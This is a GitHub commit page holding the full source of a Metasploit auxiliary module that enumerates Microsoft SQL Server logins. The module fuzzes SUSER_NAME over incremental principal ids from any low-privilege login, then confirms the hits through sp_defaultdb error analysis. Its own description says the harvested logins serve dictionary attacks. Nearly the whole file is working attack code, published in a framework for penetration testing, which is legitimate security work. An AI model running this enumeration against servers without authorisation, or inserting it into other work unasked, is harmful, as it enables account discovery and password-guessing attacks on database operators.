Skip to content

Commit 6653d5e

Browse files
committed
Land rapid7#4168, @nullbind's MS SQL SUSER_SNAME login enumeration module
2 parents 39b8bcc + 01fda27 commit 6653d5e

File tree

1 file changed

+172
-0
lines changed

1 file changed

+172
-0
lines changed
Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration',
16+
'Description' => %q{
17+
This module can be used to obtain a list of all logins from a SQL Server with any login.
18+
Selecting all of the logins from the master..syslogins table is restricted to sysadmins.
19+
However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server
20+
logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is
21+
pretty simple, because the principal ids assigned to logins are incremental. Once logins
22+
have been enumerated they can be verified via sp_defaultdb error analysis. This is
23+
important, because not all of the principal ids resolve to SQL logins. Some resolve to
24+
roles etc. Once logins have been enumerated they can be used in dictionary attacks.
25+
},
26+
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
27+
'License' => MSF_LICENSE,
28+
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
29+
))
30+
31+
register_options(
32+
[
33+
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]),
34+
], self.class)
35+
end
36+
37+
def run
38+
# Check connection and issue initial query
39+
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
40+
if mssql_login_datastore
41+
print_good('Connected.')
42+
else
43+
print_error('Login was unsuccessful. Check your credentials.')
44+
disconnect
45+
return
46+
end
47+
48+
# Query for sysadmin status
49+
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
50+
user_status = check_sysadmin
51+
52+
# Check if user has sysadmin role
53+
if user_status == 1
54+
print_good("#{datastore['USERNAME']} is a sysadmin.")
55+
else
56+
print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
57+
end
58+
59+
# Get a list if sql server logins using SUSER_NAME()
60+
print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")
61+
print_status('Enumerating logins...')
62+
sql_logins_list = get_sql_logins
63+
if sql_logins_list.nil? || sql_logins_list.empty?
64+
print_error('Sorry, somethings went wrong - SQL Server logins were found.')
65+
disconnect
66+
return
67+
else
68+
# Print number of initial logins found
69+
print_good("#{sql_logins_list.length} initial SQL Server logins were found.")
70+
71+
sql_logins_list.sort.each do |sql_login|
72+
if datastore['VERBOSE']
73+
print_status(" - #{sql_login}")
74+
end
75+
end
76+
end
77+
78+
# Verify the enumerated SQL Logins using sp_defaultdb error ananlysis
79+
print_status('Verifying the SQL Server logins...')
80+
sql_logins_list_verified = verify_logins(sql_logins_list)
81+
if sql_logins_list_verified.nil?
82+
print_error('Sorry, no SQL Server logins could be verified.')
83+
disconnect
84+
return
85+
else
86+
87+
# Display list verified SQL Server logins
88+
print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")
89+
sql_logins_list_verified.sort.each do |sql_login|
90+
print_status(" - #{sql_login}")
91+
end
92+
end
93+
94+
disconnect
95+
end
96+
97+
# Checks if user is a sysadmin
98+
def check_sysadmin
99+
# Setup query to check for sysadmin
100+
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
101+
102+
# Run query
103+
result = mssql_query(sql)
104+
105+
# Parse query results
106+
parse_results = result[:rows]
107+
status = parse_results[0][0]
108+
109+
# Return status
110+
return status
111+
end
112+
113+
# Gets trusted databases owned by sysadmins
114+
def get_sql_logins
115+
# Create array to store the sql logins
116+
sql_logins = []
117+
118+
# Fuzz the principal_id parameter passed to the SUSER_NAME function
119+
(1..datastore['FuzzNum']).each do |principal_id|
120+
# Setup query
121+
sql = "SELECT SUSER_NAME(#{principal_id}) as login"
122+
123+
# Execute query
124+
result = mssql_query(sql)
125+
126+
# Parse results
127+
parse_results = result[:rows]
128+
sql_login = parse_results[0][0]
129+
130+
# Add to sql server login list
131+
sql_logins.push(sql_login) unless sql_logins.include?(sql_login)
132+
end
133+
134+
# Return list of logins
135+
sql_logins
136+
end
137+
138+
# Checks if user has the db_owner role
139+
def verify_logins(sql_logins_list)
140+
141+
# Create array for later use
142+
verified_sql_logins = []
143+
144+
fake_db_name = Rex::Text.rand_text_alpha_upper(24)
145+
146+
# Check if the user has the db_owner role is any databases
147+
sql_logins_list.each do |sql_login|
148+
# Setup query
149+
sql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'"
150+
151+
# Execute query
152+
result = mssql_query(sql)
153+
154+
# Parse results
155+
parse_results = result[:errors]
156+
result = parse_results[0]
157+
158+
# Check if sid resolved to a sql login
159+
if result.include?(fake_db_name)
160+
verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
161+
end
162+
163+
# Check if sid resolved to a sql login
164+
if result.include?('alter the login')
165+
# Add sql server login to verified list
166+
verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
167+
end
168+
end
169+
170+
verified_sql_logins
171+
end
172+
end

0 commit comments

Comments
 (0)